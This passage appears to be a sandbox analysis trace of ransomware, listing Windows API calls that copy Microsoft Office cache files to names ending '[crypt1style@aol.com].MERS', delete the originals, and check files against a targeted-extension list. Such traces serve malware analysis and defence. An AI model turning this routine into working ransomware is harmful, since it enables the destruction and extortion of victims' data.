Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0035.741] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0035.741] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.741] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.741] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0035.742] GetLastError () returned 0x0 [0035.742] ReadFile (in: hFile=0x1ec, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x10b2, lpOverlapped=0x0) returned 1 [0035.757] WriteFile (in: hFile=0x1d8, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0035.758] ReadFile (in: hFile=0x1ec, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.758] WriteFile (in: hFile=0x1d8, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0035.758] SetEndOfFile (hFile=0x1d8) returned 1 [0035.758] CloseHandle (hObject=0x1d8) returned 1 [0035.759] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.759] SetEndOfFile (hFile=0x1ec) returned 1 [0035.760] CloseHandle (hObject=0x1ec) returned 1 [0035.760] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0035.760] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0035.760] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.760] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.760] lstrlenW (lpString=".doc") returned 4 [0035.760] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.760] lstrlenW (lpString=".docx") returned 5 [0035.760] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0035.760] lstrlenW (lpString=".pdf") returned 4 [0035.760] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.761] lstrlenW (lpString=".xls") returned 4 [0035.761] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.761] lstrlenW (lpString=".xlsx") returned 5 [0035.761] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0035.761] lstrlenW (lpString=".ppt") returned 4 [0035.761] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.761] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.761] lstrlenW (lpString=".zip") returned 4 [0035.761] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.761] lstrlenW (lpString=".rar") returned 4 [0035.761] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.761] lstrlenW (lpString=".bz2") returned 4 [0035.761] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.761] lstrlenW (lpString=".7z") returned 3 [0035.761] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.761] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.761] lstrlenW (lpString=".dbf") returned 4 [0035.761] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.761] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.761] lstrlenW (lpString=".1cd") returned 4 [0035.761] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.761] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.761] lstrlenW (lpString=".jpg") returned 4 [0035.761] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.761] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.761] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.761] lstrlenW (lpString=".doc") returned 4 [0035.761] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.761] lstrlenW (lpString=".docx") returned 5 [0035.761] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0035.761] lstrlenW (lpString=".pdf") returned 4 [0035.761] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.761] lstrlenW (lpString=".xls") returned 4 [0035.761] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.761] lstrlenW (lpString=".xlsx") returned 5 [0035.761] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0035.761] lstrlenW (lpString=".ppt") returned 4 [0035.761] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.762] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.762] lstrlenW (lpString=".zip") returned 4 [0035.762] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.762] lstrlenW (lpString=".rar") returned 4 [0035.762] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.762] lstrlenW (lpString=".bz2") returned 4 [0035.762] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.762] lstrlenW (lpString=".7z") returned 3 [0035.762] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.762] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.762] lstrlenW (lpString=".dbf") returned 4 [0035.762] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.762] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.762] lstrlenW (lpString=".1cd") returned 4 [0035.762] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.762] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.762] lstrlenW (lpString=".jpg") returned 4 [0035.762] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.762] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0035.762] lstrlenW (lpString="ProPlusrWW.xml") returned 14 [0035.762] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0035.763] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=16852) returned 1 [0035.763] CloseHandle (hObject=0x1ec) returned 1 [0035.763] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 0x2020 [0035.763] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0035.763] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0035.763] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.763] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.763] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0035.764] GetLastError () returned 0x0 [0035.764] ReadFile (in: hFile=0x1ec, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x41d4, lpOverlapped=0x0) returned 1 [0035.821] WriteFile (in: hFile=0x1d8, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x41e0, lpOverlapped=0x0) returned 1 [0035.822] ReadFile (in: hFile=0x1ec, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.822] WriteFile (in: hFile=0x1d8, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0035.822] SetEndOfFile (hFile=0x1d8) returned 1 [0035.822] CloseHandle (hObject=0x1d8) returned 1 [0035.823] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.823] SetEndOfFile (hFile=0x1ec) returned 1 [0035.823] CloseHandle (hObject=0x1ec) returned 1 [0035.823] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0035.824] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 1 [0035.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.824] lstrlenW (lpString=".doc") returned 4 [0035.824] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.824] lstrlenW (lpString=".docx") returned 5 [0035.824] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0035.824] lstrlenW (lpString=".pdf") returned 4 [0035.824] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.824] lstrlenW (lpString=".xls") returned 4 [0035.824] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.824] lstrlenW (lpString=".xlsx") returned 5 [0035.824] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0035.824] lstrlenW (lpString=".ppt") returned 4 [0035.824] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.824] lstrlenW (lpString=".zip") returned 4 [0035.824] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.824] lstrlenW (lpString=".rar") returned 4 [0035.824] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.824] lstrlenW (lpString=".bz2") returned 4 [0035.824] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.824] lstrlenW (lpString=".7z") returned 3 [0035.824] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.825] lstrlenW (lpString=".dbf") returned 4 [0035.825] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.825] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.825] lstrlenW (lpString=".1cd") returned 4 [0035.825] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.825] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.825] lstrlenW (lpString=".jpg") returned 4 [0035.825] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.825] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.825] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.825] lstrlenW (lpString=".doc") returned 4 [0035.825] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.825] lstrlenW (lpString=".docx") returned 5 [0035.825] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0035.825] lstrlenW (lpString=".pdf") returned 4 [0035.825] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.825] lstrlenW (lpString=".xls") returned 4 [0035.825] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.825] lstrlenW (lpString=".xlsx") returned 5 [0035.825] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0035.825] lstrlenW (lpString=".ppt") returned 4 [0035.825] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.825] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.825] lstrlenW (lpString=".zip") returned 4 [0035.825] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.825] lstrlenW (lpString=".rar") returned 4 [0035.825] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.825] lstrlenW (lpString=".bz2") returned 4 [0035.825] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.825] lstrlenW (lpString=".7z") returned 3 [0035.825] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.825] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.825] lstrlenW (lpString=".dbf") returned 4 [0035.825] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.825] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.825] lstrlenW (lpString=".1cd") returned 4 [0035.825] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.826] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.826] lstrlenW (lpString=".jpg") returned 4 [0035.826] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.826] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0035.826] lstrlenW (lpString="Setup.xml") returned 9 [0035.826] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0035.826] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=31094) returned 1 [0035.826] CloseHandle (hObject=0x1ec) returned 1 [0035.826] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0035.826] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0035.826] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0035.826] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.826] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.827] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0035.827] GetLastError () returned 0x0 [0035.827] ReadFile (in: hFile=0x1ec, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x7976, lpOverlapped=0x0) returned 1 [0035.878] WriteFile (in: hFile=0x1d8, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x7980, lpOverlapped=0x0) returned 1 [0035.879] ReadFile (in: hFile=0x1ec, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.879] WriteFile (in: hFile=0x1d8, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0035.879] SetEndOfFile (hFile=0x1d8) returned 1 [0035.879] CloseHandle (hObject=0x1d8) returned 1 [0035.880] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.880] SetEndOfFile (hFile=0x1ec) returned 1 [0035.881] CloseHandle (hObject=0x1ec) returned 1 [0035.881] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0035.881] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0035.882] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.882] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.882] lstrlenW (lpString=".doc") returned 4 [0035.882] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.882] lstrlenW (lpString=".docx") returned 5 [0035.882] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.882] lstrlenW (lpString=".pdf") returned 4 [0035.882] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.882] lstrlenW (lpString=".xls") returned 4 [0035.882] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.882] lstrlenW (lpString=".xlsx") returned 5 [0035.882] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.882] lstrlenW (lpString=".ppt") returned 4 [0035.882] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.882] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.882] lstrlenW (lpString=".zip") returned 4 [0035.882] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.882] lstrlenW (lpString=".rar") returned 4 [0035.882] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.882] lstrlenW (lpString=".bz2") returned 4 [0035.882] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.882] lstrlenW (lpString=".7z") returned 3 [0035.882] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.882] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.882] lstrlenW (lpString=".dbf") returned 4 [0035.882] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.882] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.882] lstrlenW (lpString=".1cd") returned 4 [0035.882] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.882] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.882] lstrlenW (lpString=".jpg") returned 4 [0035.882] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.882] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.883] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.883] lstrlenW (lpString=".doc") returned 4 [0035.883] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.883] lstrlenW (lpString=".docx") returned 5 [0035.883] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.883] lstrlenW (lpString=".pdf") returned 4 [0035.883] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.883] lstrlenW (lpString=".xls") returned 4 [0035.883] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.883] lstrlenW (lpString=".xlsx") returned 5 [0035.883] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.883] lstrlenW (lpString=".ppt") returned 4 [0035.883] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.883] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.883] lstrlenW (lpString=".zip") returned 4 [0035.883] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.883] lstrlenW (lpString=".rar") returned 4 [0035.883] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.883] lstrlenW (lpString=".bz2") returned 4 [0035.883] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.883] lstrlenW (lpString=".7z") returned 3 [0035.883] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.883] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.883] lstrlenW (lpString=".dbf") returned 4 [0035.883] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.883] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.883] lstrlenW (lpString=".1cd") returned 4 [0035.883] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.883] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.883] lstrlenW (lpString=".jpg") returned 4 [0035.883] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.883] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0035.883] lstrlenW (lpString="Office32WW.xml") returned 14 [0035.884] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0035.884] GetFileSizeEx (in: hFile=0x1ec, 